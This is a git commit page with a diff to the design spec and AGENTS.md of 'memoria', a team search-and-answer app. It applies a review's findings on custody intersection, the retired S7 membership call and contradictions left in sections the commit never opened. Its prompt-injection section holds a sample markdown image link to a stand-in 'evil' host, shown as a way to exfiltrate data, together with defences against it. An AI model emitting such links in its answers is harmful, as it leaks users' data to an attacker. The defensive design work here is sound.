oficina / memoria Public

🤖 review: a rule invented while citing the section that forbade it

Fable on the A.4 adoption: REQUEST CHANGES, 1 BLOCKER, 9 MAJOR, 3 MINOR,
1 NIT, all applied. §1.8 records it. The distribution is the lesson — one
blocker in what the commit rewrote, and eight majors in what it did not
open at all.

THE BLOCKER. §4.1 needed the custody intersection, and the doctrine puts
it in the app of record inside S2: the sibling runs its grants join for
the named asker, then answers NOT_VISIBLE for anything not team-visible,
whatever individual grants say. I wrote instead that memoria renders when
S2 says VISIBLE AND the item was team-visible when acquired. That rule is
vacuous — everything memoria holds arrived through S3, which serves only
team-visible items, so the second half is true of every held item and
false of none, a guard written to pass. It does not close the leak: a
document downgraded from team to granted, with the asker's grant intact,
passes both halves and renders. And it argued against the doctrine's own
mechanism as a ruling-3 violation, when a sibling applying its own two
rules to its own answer is neither cached nor asked per person. The
doctrine had retracted exactly that reasoning — "a later visibility change
is exactly what the defect turns on" — in the section I cited for it.

THE OTHER EIGHT ARE ONE SHAPE. S7 was retired in §1 and §4.3 and left
alive in the §6.1 contract table, in §6.5's warm-up, in §4.1's "this
subsumes membership", in §2's members table, and in five §13 items still
listed open after this commit closed them. §11 corrected the home
dependency and reasserted it twelve lines below, in the same commit. The
Docs §11.2 qualification was deleted from §8.3 and still owed in §11 and
§13. The blanket write ban left §6.4 and stayed load-bearing in §3.3, §8.5
and decision 10's rejected column.

So: the risk in an adoption commit is concentrated in the sections you did
not open. A rewritten section has been read twice; an untouched dependant
has been read never, and it contradicts the new rule while looking fine.
Grep for the retired thing by name. That is now in AGENTS.md.

Also fixed: §4.1 had inverted why the asker subject is typed, giving the
reasoning suite §3 names and rejects ("provisioned together" is an
operational habit, not an enforced property); §4.3's outage bullet was the
revision-3 position the doctrine retracted as an outage-length revocation
tail; §6.4 restated suite §7.1 and drifted, losing memoria's own
obligations (destination validated against the team label, form-action CSP
allowance) in the direction that made them disappear; gate 21 claimed its
fixtures were replaced when there were never any fixtures and the gate
does not exist; ruling 15 was listed as consumed and cited nowhere;
decision 4's widening was attributed to ruling 6's row rather than §8's
sentence, and to Paul, who has not ruled on it.

ONE FINDING WAS WRONG AND EARNS ITS PLACE ANYWAY. The review could not
resolve 6797bbf or 4aea8f4 and said §13's blocker was not shown closed.
The hashes are right — refs/heads/main on the hub, confirmed by ls-remote
— but every local checkout here is behind, because amadan branch merge
lands on the remote and touches no working tree. The claim was
unverifiable as written, which is the reviewer's actual point. §13 now
says which ref and how it was checked. A citation that resolves only for
whoever wrote it is not a citation.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01H3VKtXnq6fSmM2F11Bjcsy
Paul Campbell pushed by paul@keymail.dev ec9ef66ba66bd5f21ed00bdc08b16dd1196e7b13 parent 0bd3023
2 files changed, +310 −116
  • AGENTS.md +17 −13
  • docs/superpowers/specs/2026-09-03-memoria-design.md +293 −103
diff --git a/AGENTS.md b/AGENTS.md
index ce73af1..6cc8668 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -7,7 +7,7 @@ wins. Where it disagrees with the design spec, the spec wins and this file
is wrong — fix it in the same commit.
**The design:** `docs/superpowers/specs/2026-09-03-memoria-design.md`. Its
-§1 is the settled-decisions table, §1.2–§1.7 record what eight independent
+§1 is the settled-decisions table, §1.2–§1.8 record what nine independent
reviews changed. Don't relitigate a settled decision in a drive-by.
---
@@ -130,19 +130,23 @@ so; it never renders as a confident zero.
Every spec and every branch is reviewed by a model that did not write it,
before it is approved or merged, and the reviewing model is recorded.
-Eight passes so far: Fable and GPT Sol on spec drafts 1–3, Fable on the
-code, Fable three times on the §8.3–§8.4 amendments and gate 17. Every one
-returned REQUEST CHANGES. The provider review found a rule broken in the
-paragraph that stated it, twice, and a fourth gate that could not have gone
-red (§1.5); the one after it found a product ruling argued from two misread
-sections of this same spec (§1.6); the one after that mutation-tested a
-gate its author had already mutation-tested, and broke it five more ways
-(§1.7). That last is the most useful review this project has had.
-
-**The pattern across §1.4–§1.7 is one failure wearing four coats:** the
+Nine passes so far: Fable and GPT Sol on spec drafts 1–3, Fable on the
+code, Fable four times on the §8.3–§8.4 amendments, gate 17 and the suite
+doctrine adoption. Every one returned REQUEST CHANGES. The provider review
+found a rule broken in the paragraph that stated it, twice, and a fourth
+gate that could not have gone red (§1.5); the one after it found a product
+ruling argued from two misread sections of this same spec (§1.6); the one
+after that mutation-tested a gate its author had already mutation-tested
+and broke it five more ways (§1.7); the last found a rule invented while
+citing the section that forbade it, and eight contradictions in sections
+the commit never opened (§1.8).
+
+**The pattern across §1.4–§1.8 is one failure wearing five coats:** the
writer checks their work against their own model of it rather than against
-the thing. Open the section you are citing; run the mutation you did not
-think of.
+the thing. Open the section you are citing. Run the mutation you did not
+think of. **And when you retire something, grep for it by name** — the
+sections you did not open are where an adoption commit goes wrong, because
+a rewritten section has been read twice and an untouched dependant never.
---
diff --git a/docs/superpowers/specs/2026-09-03-memoria-design.md b/docs/superpowers/specs/2026-09-03-memoria-design.md
index 01c931a..ea2559f 100644
--- a/docs/superpowers/specs/2026-09-03-memoria-design.md
+++ b/docs/superpowers/specs/2026-09-03-memoria-design.md
@@ -9,8 +9,13 @@ provider, §8.4 shape, decisions 13–14, live-key verification, gate 17,
**Consumed suite rulings.** This spec consumes `oficina/suite`
`docs/superpowers/specs/2026-09-05-suite-sharing-doctrine.md` at
-**revision 7, commit `2b78680`**. Rulings 1, 3, 4, 6, 7, 9, 14 and 15 are
-cited and never restated (suite ruling 7). Not consumed yet: the hand-off
+**revision 7, commit `2b78680`**. Rulings 1, 3, 4, 6, 7, 9 and 14 are
+cited and never restated (suite ruling 7). **Ruling 15 (three rungs and a
+read-only link) is depended on and not yet cited in the body** — its
+"only the `team` rung is team-visible, so custody keys on the rung and
+never on the link" is what §5's custody mark should say, and does not.
+Owed; §13. Listing a ruling as consumed without a citation is the drift
+ruling 7 exists to prevent, one level up. Not consumed yet: the hand-off
(suite §7) — §9.1 records why memoria refuses one built on its own
material — and S8, which needs a designated-area grant memoria has no UI
for. S6 is cited as a specification; suite §12 step 4 builds it.
@@ -26,7 +31,7 @@ draft they reviewed; all drafts were written by Opus.
| 3, §8.3 provider amendment | Fable | REQUEST CHANGES — 4 MAJOR, 4 MINOR, 2 NIT. All applied; §1.5 records what it changed |
| 3, §8.4 and decisions 13–14 | Fable | REQUEST CHANGES — 5 MAJOR, 4 MINOR, 1 NIT. All applied. It found §8.4's central argument resting on a misreading of §6.5 and §4.1; §1.6 records what it changed |
| 3, gate 17 + live-key verification | Fable | REQUEST CHANGES — 3 MAJOR, 4 MINOR, 3 NIT. All applied. **It mutation-tested gate 17 itself** and found five idioms the gate blessed, including one that served a declared path outside the session gate; §1.7 records what it changed |
-| 3, suite doctrine adoption (A.4) | — **not yet reviewed** | The adoption commit is unreviewed. A.4 itself was written by the suite session and reviewed three times there (Opus 5, GPT-6, GPT-6 + Fable), but memoria's *application* of it has had no pass |
+| 3, suite doctrine adoption (A.4) | Fable | **REQUEST CHANGES — 1 BLOCKER, 9 MAJOR, 3 MINOR, 1 NIT.** All applied. The blocker: §4.1 adopted a custody intersection that was not the doctrine's, could not fail, and left the leak it claimed to close. §1.8 records what it changed |
§1.2 records what the draft-1 reviews changed; §1.3 what the draft-2
review changed. **Draft 3 has not been reviewed.**
@@ -73,7 +78,7 @@ embedding is a plaintext cell in a costume — §3.1.
| 1 | **The suite is the app; the team is the boundary; the implementer declares the process set.** A team's instances of sheets, docs, calendar and memoria are one trust domain. | Four boundaries, one per process — memoria could then hold only person-initiated snapshots, stale the moment taken | Paul, 2026-09-03 |
| 2 | **Not a doctrine change.** CARLOS apps to date have been single processes, so process and app coincided. Oficina's app is a suite. The doctrine is that the implementer chooses the boundary; this is applying it, not amending it. | Filing it as a family ruling at `carlos/pegamento`, the way home §2.3 filed its divergence | Paul, 2026-09-03 |
| 3 | **Team-visibility is a CUSTODY rule; the per-asker check is the AUTHORIZATION rule.** Nothing enters memoria from a sibling unless it is team-visible there, which bounds what memoria holds. Who may *read* it is asked of the owning app, per person, per query. | Draft 1's "one ACL: is a member of this team", which conflated the two and left membership drifting across four tables | Paul, 2026-09-03, after review |
-| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer **and on every derived artefact** (widened 2026-09-05 under suite ruling 6, which says "every artefact it produced" and means it — an answer is transient, a §5.2 artefact outlives the query and is regenerated when a source changes, so it can carry a different provider from the one that first made it), disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03 |
+| 4 | **Model egress is permitted to one named provider**, per-team opt-in, fixed by the team owner, named on every answer **and on every derived artefact** (widened 2026-09-05 under suite **§8's binding sentence**, which says "every artefact it produced" and means it — ruling 6's own row says "disclosed", so the phrase is §8's and the citation should not borrow the ruling's number for it — an answer is transient, a §5.2 artefact outlives the query and is regenerated when a source changes, so it can carry a different provider from the one that first made it), disclosed in the README's first paragraph. | No egress at all; OpenRouter choosing per question; a local model only | Paul, 2026-09-03. **The derived-artefact widening is not his**: raised by the memoria session and adopted into A.4 on 2026-09-05, and he has not ruled on it — §13 |
| 5 | **The search floor works with AI switched off**, and is the product. **With AI off, nothing leaves the instance at all** — which §3.2 shows is a larger difference than draft 1 realised. | An answer-first product with search as a fallback | AGENTS.md §Authorship, applied |
| 6 | **Embeddings and FTS5 postings are content.** They never reach replicated SQLite or the bucket unsealed. | Treating a vector as a derived artefact outside §0's scope, on the grounds that no plaintext bytes appear | Fable trust pass, adopted 2026-09-03 |
| 7 | **Every SIBLING call is a pull. memoria exposes no sibling-facing surface.** Its ingest endpoint serves external connectors only, which are memoria-owned content, not a sibling push. | An outbox per sibling; and draft 1's §9, which specified the push surface this decision forbids | Fable contract pass; corrected after review |
@@ -395,12 +400,70 @@ being in neither §1 nor §13, with the interpretation of the load-bearing
one living only in a commit message. That is §1.6's failure by omission:
the strong reading asserted where reviewers do not look.
+### 1.8 What the adoption review changed, and where an adoption goes wrong
+
+A.4 was reviewed three times in the suite repo before memoria adopted it.
+memoria's *application* of it was then reviewed once, by Fable, and came
+back REQUEST CHANGES with a blocker and nine majors. The distribution is
+the lesson.
+
+**The blocker was a rule invented while citing the section that forbade
+it.** §4.1 needed the custody intersection. The doctrine puts it in the
+**app of record, inside S2**: the sibling runs its grants join for the
+named asker and then answers `NOT_VISIBLE` for anything not team-visible.
+memoria wrote instead that it would render a passage when S2 says
+`VISIBLE` **and** the item was team-visible *when acquired* — a rule that
+is **vacuous** (everything memoria holds came through S3, which serves
+only team-visible items, so the second half is true of every held item),
+that **does not close the leak** (a document downgraded from `team` to
+`granted` with the asker's grant intact passes both halves), and that
+**argued against the doctrine's own mechanism** as a ruling-3 violation.
+The doctrine had explicitly retracted that reasoning — *"a later
+visibility change is exactly what the defect turns on"* — in the section
+memoria cited for it.
+
+**The other eight majors are one shape: the commit checked what it
+opened.** S7 was retired in §1 and §4.3 and left alive in the §6.1
+contract table, in §6.5's warm-up, in §4.1's "this subsumes membership",
+in §2's members table and in five §13 items still listed as open after
+this commit closed them. §11 corrected the home dependency in one
+paragraph and reasserted it twelve lines below, in the same commit. The
+Docs §11.2 qualification was deleted from §8.3 and still owed in §11 and
+§13. The blanket write ban went from §6.4 and stayed load-bearing in §3.3,
+§8.5 and decision 10's rejected column.
+
+**The rule, and it is specific to adopting someone else's document:** the
+risk in an adoption commit is concentrated in the sections you did *not*
+open. A rewritten section has been read twice; an untouched one that
+depended on the old rule has been read never, and it now contradicts the
+new one while looking untouched and therefore fine. **Grep for the retired
+thing by name before claiming it is retired** — `S7`, `person_ref`,
+`members table`, `forbidden by §6.4` — and read every hit.
+
+Two smaller ones worth keeping. §4.1 had inverted *why* the asker subject
+is typed, saying the type is fixed at configuration because instances are
+provisioned together — which is the reasoning suite §3 names and rejects,
+"an operational habit, not an enforced property". And gate 21 claimed its
+fixtures had been replaced; there were never any fixtures, the gate does
+not exist, and the entry now says so.
+
+**One finding was wrong, and how it was wrong is worth as much.** The
+review could not resolve `6797bbf` or `4aea8f4` and said §13's blocker was
+therefore not shown closed. The hashes are correct — they are
+`refs/heads/main` on the hub, confirmed by `git ls-remote` — but every
+local checkout on this box is behind, because `amadan branch merge` lands
+on the remote and touches no working tree. The reviewer was right that the
+claim was unverifiable *as written*, and §13 now says which ref the hashes
+are on and how they were checked. A citation that only resolves for
+whoever wrote it is not a citation.
+
---
## 2. What memoria is
A fourth per-team instance app, beside sheets, docs and calendar, with
-its own DEK, its own members table and its own origin. It holds the
+its own DEK, its own roster copy — the home's in suite shape, the owners
+list in lone shape (§4.3) — and its own origin. It holds the
team's content in a sealed index and answers questions over it with
citations.
@@ -580,8 +643,13 @@ backwards.**
ever held.** §3.5 mitigates it.
**What memoria does not do is weaken its siblings' sealing.** It holds no
-sibling's DEK, gains no write path (§6.4), and cannot read a sibling's
-individually-granted content, because S3 404s it.
+sibling's DEK, cannot read a sibling's individually-granted content
+because S3 404s it, and **gains no write path except suite §7's two, which
+are narrower than "no writes" and differently shaped** (§6.4): a person's
+own hand-off, carried by their browser under their own session, and S8 as
+memoria itself into an area the team owner designated for it. Neither
+gives memoria a capability over a sibling's content; the first is not
+memoria writing at all.
### 3.4 A citation is exactly as trustworthy as the app it cites
@@ -658,33 +726,66 @@ S2(subject, [(item_id, revision), …])
→ per item: VISIBLE | NOT_VISIBLE | STALE | UNKNOWN
```
-**The asker is a typed subject, not a bare string** (suite §3): a person
-ref in suite shape, a lowercased address in lone shape. Two instances that
-talk were provisioned together and share a shape, so the type is fixed at
-configuration rather than negotiated per call.
+**The asker is a typed subject, and the type travels on the wire**
+(suite §3): `{kind: person_ref | address, value}` — a person ref in suite
+shape, a lowercased address in lone shape. *On the wire* is the point, and
+this spec first got it backwards by saying the type is fixed at
+configuration because two instances that talk were provisioned together.
+The doctrine names that exact reasoning and rejects it: **"provisioned
+together" is an operational habit, not an enforced property.** With the
+kind on the call, a receiver that keys on the other one answers `UNKNOWN`
+for the whole call rather than guessing — which is a loud failure instead
+of a silent mismatch between an address and a person ref that happen to
+collide. Suite gate 2 tests it, and memoria's gate 6 gains the case.
The sibling answers from the grants join it already maintains — Sheets
§4.5, "rows this team can see, plus rows granted to me individually,
minus rows I have been removed from". memoria evaluates none of it.
-**But memoria intersects that answer with custody, and this is a leak the
-spec had reopened without noticing** (suite §4.3, ruling 14; found by the
-doctrine's review of memoria, 2026-09-05). Read Sheets §4.5 again: *"plus
-rows granted to me individually"*. An item granted to one person and to
-nobody else is **not team-visible**, so custody says memoria may never
-hold it — and yet S2 as specified above answers `VISIBLE` for it, because
-the asker really may read it at the source. §6.1 closed exactly this hole
-on S3 and on the S1 visibility flag, and §4.1 quietly reopened it one call
-along.
-
-**So `VISIBLE` is necessary and not sufficient.** memoria renders a
-sibling passage only when S2 says `VISIBLE` **and** the item was
-team-visible when acquired. The second half is memoria's own record, taken
-at ingest, not a second question to the sibling — asking again would be a
-custody question answered per person, which is the conflation ruling 3
-exists to prevent. An item that passes the first and fails the second is a
-custody violation on our side: withhold it, and say so loudly, because a
-silent omission here would hide our own bug.
+**The sibling intersects its own answer with custody, and memoria depends
+on that** (suite §4.3, and the S2 row of suite §6):
+
+> S2's answer is intersected with custody. The app of record runs its
+> grants join for the named asker, and then answers `NOT_VISIBLE` for any
+> item that is not team-visible, **whatever the asker's individual grants
+> say**.
+
+Read Sheets §4.5 again — *"plus rows granted to me individually"* — and the
+reason is immediate. An item that leaves team-visibility appears in S1 as
+`gone`, which §4.2 requires to be **indistinguishable from deletion**. An
+unintersected S2 distinguishes them perfectly: `VISIBLE` for the one that
+went private, when a grantee is the asker, and `NOT_VISIBLE` for the one
+that was deleted. That is the leak the S1 visibility flag was removed to
+prevent and the leak S3's "404, never 403" was designed to prevent,
+arriving on the third call.
+
+**The cost is real and it is memoria's to disclose.** A person who still
+holds an individual grant loses that passage here, and any answer built on
+it, while the document stays open to them in the app of record. That is
+the price of §4.2's indistinguishability and it cannot be avoided while
+that promise stands. memoria's honest move is §6.5's: name the app the
+answer went to, rather than quietly return a shorter one.
+
+**What memoria must do about it**, since the mechanism is the sibling's:
+depend on it, and refuse to trust an S2 that has not demonstrated it.
+Before memoria consumes a sibling's S2, that sibling passes suite gate 3 —
+*the same item id answers `NOT_VISIBLE` in each state* — including the
+transition fixture: ingested while `team`, downgraded to `granted` with
+the asker's grant intact, asked before `gone` arrives.
+
+*An earlier version of this paragraph put the intersection on memoria's
+side, as "S2 says VISIBLE **and** the item was team-visible when
+acquired". Three things were wrong with it and a review found all three.
+It was **vacuous** — everything memoria holds arrived through S3, which
+serves only team-visible items, so the second half is true of every held
+item and false of none: a guard written to pass. It **did not close the
+leak**, because the downgrade-with-grant case passes both halves. And it
+**argued against the doctrine's actual mechanism** as a ruling-3
+violation, when a sibling applying its own two rules to its own answer is
+not authorization cached or asked per person. The doctrine had already
+retracted exactly that reasoning — "a later visibility change is exactly
+what the defect turns on" — and this spec re-adopted it while citing the
+section that retracted it.*
**Four-valued, and each value exists because collapsing it into another
produces a plausible empty list — the failure shape sheets-core AGENTS.md
@@ -712,10 +813,17 @@ pair gets exactly one result or the whole call is `UNKNOWN`. Without that
rule a missing entry falls through to omission, which is the silent path
again. Gate 6.
-**This subsumes membership.** There is no separate "is P a member?"
-question and no membership synchronisation, because a non-member's items
-all come back `NOT_VISIBLE` from the app that knows. The four
-unreconciled tables of §1.2 are simply not consulted.
+**Membership is not S2's question, and it is no longer memoria's either.**
+This paragraph used to say S2 "subsumes membership" — that there is no
+separate *is P a member?* because a non-member's items all come back
+`NOT_VISIBLE`. That was true of decision 11's world and is not true now:
+**admission is the home's roster** (§4.3, suite ruling 4), and it is a
+different question asked at a different moment. Authorization is per
+asker, per query, never cached; admission is a pulled copy refreshed by
+epoch. Keeping them apart is the whole point of the roster split. What
+survives from the old paragraph is its good half — the four unreconciled
+tables of §1.2 are still not consulted, and memoria still maintains no
+membership state of its own.
**Revision matters.** A document that stays team-visible but whose newer
revision removed a sentence must not have its stale chunk spoken: a
@@ -742,8 +850,11 @@ on it — measured before the constant is committed.
### 4.2 memoria-owned content: memoria is the app of record
Notion, Drive, forwarded mail and uploads have no sibling to ask. For
-this content **memoria's own members and grants are authoritative** — not
-a copy, so there is nothing to drift from.
+this content **memoria's own grants are authoritative** — not a copy, so
+there is nothing to drift from. *Membership is not among them:* that is
+the roster's, and §4.3 is where it is read. An earlier version said "own
+members and grants", which was decision 11's world and is the sentence
+that let a members table survive its own rejection.
This is the honest resolution of gap 3, and it costs something that must
be said plainly rather than implied: **revoking a Notion page from the
@@ -758,8 +869,11 @@ claim does not pretend otherwise.
**Admission is the home's roster — suite §5.3, ruling 4.** memoria holds no
members table of its own and asks no sibling. In **suite shape** it pulls
the roster (suite call 8, consumer token, roster epoch in every response)
-and admits from it. In **lone shape**, where there is no home, admission is
-the owners list, exactly as slice 0 does today.
+and admits from it. The epoch rides the home's own responses — calls 2, 5
+and 8 and the assertion — and **sibling calls carry none, deliberately**
+(suite §5.3), so nothing in S1, S2 or S3 grows a membership field. In
+**lone shape**, where there is no home, admission is the owners list,
+exactly as slice 0 does today.
Draft 2 had memoria keep its own members table, and the draft-2 review
showed why that fails: S2 protected sibling content, but admission and
@@ -791,9 +905,19 @@ Three consequences worth keeping:
nobody new signs in, which is an outage, where the alternative is
admitting someone nobody can vouch for. In lone shape the owners list is
local and this cannot arise.
-- **A session already minted survives an outage** for its TTL, exactly as
- home §2.1 accepts for the suite as a whole. That is admission surviving,
- not authorization — §4.1 still runs live on every passage.
+- **A stale roster stops team standing for everybody, sessions included.**
+ Within the TTL the pulled copy is enforced as it stands. Past the TTL
+ with no successful fetch it is stale, and team standing stops being
+ established for anyone — **including people already in a session** — so
+ S2 answers `UNKNOWN` and the page withholds loudly. An unfamiliar roster
+ generation holds the stale copy until an owner confirms it. Suite §5.3,
+ gate 5.
+ *This spec said the opposite until 2026-09-05: "a session already minted
+ survives an outage for its TTL". That is the doctrine's revision-3
+ position, which it retracted — on a 30-day sliding session it is an
+ outage-length revocation tail, the very thing the paragraph claimed to
+ reject, and it is the same tail §13 had been carrying as an open defect
+ of S7.*
- **memoria still holds no authorization model.** It holds no answer of its
own; it reads a roster and relays it, and §4.1 governs every passage
after the door.
@@ -932,12 +1056,12 @@ memoria pulls on its own wake and on each question. It runs no timers.
| # | Call | Notes |
|---|---|---|
| S1 | Change feed | Cursor is an opaque position in the sibling's event log, issued by the sibling, stored per consumer. A row is `(item_id, revision, gone, touched_at)` — **no title, no content, no visibility flag** — so it passes the plaintext-grep gate unaided. Retention is a **per-consumer TTL** (home §9.1: "any 'prune when all consumers have caught up' is unbounded in a hibernating fleet"). Past TTL, or a restore-rewound cursor, takes a full re-announce. |
-| S2 | Authorization re-check | `(person_ref, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / UNKNOWN` per item. §4.1 specifies it, including the total decoder. Cap 256 pairs. |
+| S2 | Authorization re-check | `(subject, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / UNKNOWN` per item. Asker is a **typed subject** with its kind on the wire (suite §3); **the sibling intersects its answer with custody** (suite §4.3) — §4.1 explains why memoria depends on that and cannot do it itself. Total decoder, cap 256 pairs. **Never cached, at any scope** (ruling 3). |
| S3 | Content fetch | **`(id, revision)`, no person** → plaintext body over TLS into memoria's RAM only. The sibling answers only for items that are **team-visible** — the custody predicate, not the grants join — and **404s, never 403s**. This is an ingest call and there is no asker on the ingest path. |
-| S4 | Tombstone | *a feed row.* `gone` covers deletion and departure from team-visibility, indistinguishably. |
-| S5 | Consumer expiry | *no call.* TTL expiry is the decommission verb. |
-| S6 | Aggregate | `(person_ref, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)` / `MIXED_UNITS`. §8.7. Cap 64 cells. Never cached. |
-| S7 | Membership | `(person_ref) → MEMBER / NOT_MEMBER / UNKNOWN`. §4.3's admission relay. Cached per session, not per request. |
+| ~~S4~~ | Tombstone | *a feed row, and no number is reserved for it* (suite §6). `gone` covers deletion and departure from team-visibility, indistinguishably. Numbering a non-call is how a table starts reading as a contract. |
+| ~~S5~~ | Consumer expiry | *no call, and no number.* TTL expiry is the decommission verb. |
+| S6 | Aggregate | `(subject, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)` / `MIXED_UNITS`. §8.7. Cap 64 cells. Typed subject and the custody intersection, as S2. Never cached. **Specified, not built** — suite §12 step 4. |
+| ~~S7~~ | ~~Membership~~ | **RETIRED 2026-09-05.** It existed because there was no roster of record; suite call 8 is that record, and admission is §4.3's. Its per-session cache was the conflation of admission with authorization that ruling 3 now forbids outright. |
**Draft 1's S1 row carried a `visible-to-team` field, and that was a
leak.** With it, a `visible=false, gone=false` row tells memoria that a
@@ -1073,17 +1197,32 @@ team-visible custody rule. The home in the loop. Content leaving the four
hosts, except §8.3's named provider, which is a disclosed exception and not
a sibling.
-**The write exception is narrow and it is suite ruling 9's shape: a write
-names its real actor, and no sibling ever acts as a person.** Two forms and
-no third. *A person's own hand-off* — memoria renders a form that POSTs to
-the receiving app's create endpoint carrying that person's own session,
-same-site cookie, scriptless; memoria is not in the write at all, it only
-drew the button. *S8, memoria as itself* — under the consumer token, only
-into an area the team owner designated for memoria, only items memoria
-authored. **On-behalf-of writes are rejected for good**, because a sibling
-token that can write as a person is a write capability over every member's
-identity. This spec previously forbade all writes, which was simpler and
-also forbade a person clicking "save this to Docs" with their own hands.
+**The write exception is narrow and it is suite ruling 9's: a write names
+its real actor, and no sibling ever acts as a person.** Two forms and no
+third — the hand-off (suite §7.1) and S8 (suite §7.2) — and **the wire
+shapes are the doctrine's, cited here and not restated.** An earlier
+version of this paragraph described the hand-off as "memoria renders a
+form that POSTs to the receiving app's create endpoint; memoria is not in
+the write at all, it only drew the button", which is the drifted
+restatement ruling 7 exists to prevent, and it drifted in the direction
+that made memoria's own obligations disappear.
+
+**memoria's own obligations, which are the part that belongs here:**
+
+- **The destination is validated against memoria's own `<team>` label
+ before the form is rendered.** memoria is in the write to that extent —
+ it chooses where the button points.
+- **A `form-action` CSP allowance** for the receiving origin, in memoria's
+ rastrillo config. Gate 4's log rule runs on memoria's side of this, and
+ the receiving app's create endpoint commits on receipt only after its own
+ confirmation step (suite §7.1: "a create endpoint that commits on receipt
+ is a drive-by"), which is the receiver's obligation and not ours.
+- **On-behalf-of writes are refused for good**, because a sibling token
+ that can write as a person is a write capability over every member's
+ identity.
+
+This spec previously forbade all writes, which was simpler and also
+forbade a person clicking "save this to Docs" with their own hands.
### 6.5 Availability: the deadline, and what a slow sibling costs
@@ -1104,9 +1243,10 @@ is declared.
which app.
- **A cold sibling is a wake, and a wake is slower than a deadline.** The
honest consequence: the first search after a quiet period reliably
- withholds. So memoria **fires S7 and a warm-up S2 on its own wake**,
- before anyone has searched, to spend that latency where nobody is
- waiting.
+ withholds. So memoria **pulls the roster (suite call 8) and fires a
+ warm-up S2 on its own wake**, before anyone has searched, to spend that
+ latency where nobody is waiting. *This said "fires S7" until 2026-09-05,
+ which would have warmed a call that no longer exists.*
- **A reliably slow sibling produces permanent withholding**, which is
worse than it sounds: the product's primary path degrades to "Sheets did
not answer" forever, and a reader learns to ignore the notice. There is
@@ -1633,8 +1773,12 @@ and the answer is a garnish on it** (decision 5).
### 8.5 Prompt injection
-- **No tools.** memoria retrieves and answers. It never writes to a
- sibling and never fetches a URL at answer time.
+- **No tools.** memoria retrieves and answers. It **never writes to a
+ sibling at answer time** and never fetches a URL at answer time. Suite
+ §7's writes are not tools and are not on this path: the hand-off is a
+ person clicking a button after an answer is rendered, and S8 is memoria
+ filing its own material. Neither is reachable from a prompt, which is
+ what this bullet is about.
- **No remote loads in rendered answers.** `![](https://evil/?d=…)` is
exfiltration without a tool. Strip remote images; refuse links to
non-suite hosts.
@@ -1706,8 +1850,12 @@ second formatter as the same bug class one layer down.
`MAX`, `COUNT` — and never expression text, so memoria is not a formula
author and cannot grow into one. Rejected alternatives: memoria computing
and showing its working (a second calculator, arrived at one `mean` at a
-time); writing a formula into a scratch sheet (a write, forbidden by §6.4,
-and a citation that cites itself).
+time); writing a formula into a scratch sheet — **and note this rejection
+now stands on decision 10's own ground rather than on a write ban.** Suite
+§7's S8 permits memoria to write into a designated area, and a scratch tab
+is exactly that shape, so "forbidden by §6.4" is no longer the reason. The
+reason is decision 10 itself: a formula memoria authored is a calculation
+memoria owns, and a citation that cites itself.
**Chunking a spreadsheet**, which §13 carried as unsolved. Two chunk kinds
per tab:
@@ -1910,13 +2058,19 @@ renders on its own origin. The home never sees `q`.
stated chunk count exceeds the budget. §7's numbers were wrong twice
with no gate to notice.
21. **Admission is read, not held.** A person absent from the roster is
- refused, and an unreadable roster refuses rather than admits. **The
- fixtures change with the prose:** this gate cited `S7` until
- 2026-09-05, and retiring a call leaves a gate asserting against
- something that no longer exists — green forever, for the worst reason.
- Suite shape asserts against the pulled roster and its epoch; lone shape
- against the owners list. Mutation: admit a subject absent from the
- roster, expect red.
+ refused, and an unreadable roster refuses rather than admits.
+ **NOT BUILT, and the honest version of that matters here.** This gate
+ cited `S7` until 2026-09-05; retiring a call leaves a gate asserting
+ against something that no longer exists, which is green forever for
+ the worst reason. But nothing in `internal/memoriatest` ever asserted
+ admission at all — there were no S7 fixtures to replace, and there are
+ no roster fixtures now, so "the fixtures change with the prose" (which
+ this entry said for one commit) described work that had not happened.
+ **Owed, in two halves:** the *lone* half is buildable today against
+ `Admits` — an address absent from `MEMORIA_OWNERS` is refused — and
+ the *suite* half waits for the roster at slice 1. No mutation is named
+ here, because per §1.7 an author-chosen mutation on a test that does
+ not exist yet is twice removed from evidence.
22. **Every stored vector has L2 norm 1 ± ε.** Deterministic, and the
mutation is named: *skip the renormalise after §7.2's 4096→512
truncation, expect red.* Written this way on purpose — a gate phrased
@@ -1988,8 +2142,10 @@ memoria had been recording itself as blocked on something that was not in
its way, which is a more expensive mistake than being blocked.
**Slice 2 — the model layer (§8).** Named provider, router,
-answer-above-citations, the §3.6 README, the Docs §11.2 qualification
-recorded in Docs. **This is the slice that turns on whole-corpus egress**,
+answer-above-citations, the §3.6 README. *No Docs §11.2 qualification is
+owed any more: §8.3 cites suite §8 and Docs cites the same sentence, which
+is how discussion 33 closed.* **This is the slice that turns on
+whole-corpus egress**,
so it does not land before its disclosure copy does.
Four things enter with it rather than after, because each is cheap now and
@@ -2003,10 +2159,17 @@ only thing standing between a stable model id and a silent weight swap.
**Slice 3 — external connectors (§5.1)** under §4.2, with least-privilege
credentials (§3.5) and gate 7.
-**Ship gate throughout:** home §13 step 4 before anything reaches a
-shared host. memoria depends on it more deeply than Sheets or Docs,
-because §4.1 needs a person ref on every query rather than only on grant
-rows.
+**Ship gate throughout, and it is shape-dependent.** In **lone shape**
+there is no home and none is needed: the asker subject is a lowercased
+address, sibling tokens are their own switch, and slices 0 to 2 run
+against Sheets and Docs without one. In **suite shape**, home §13 step 4
+gates **admission only** — call 8 and the roster (§4.3) — and never §4.1,
+which needs a typed subject and not specifically a person ref.
+
+*This paragraph said "home §13 step 4 before anything reaches a shared
+host … because §4.1 needs a person ref on every query", twelve lines below
+the correction that says the opposite. Both were written in the same
+commit. Fixed 2026-09-05; §1.7's lesson arriving inside the fix for §1.6.*
---
@@ -2018,6 +2181,7 @@ rows.
| ANN index (`coder/hnsw`) | Query latency exceeds ~200 ms, i.e. ~600k chunks at 512 dims — which §7.3 shows is *later* than the wake ceiling, not earlier |
| MCP adapter | The first consumer that speaks it |
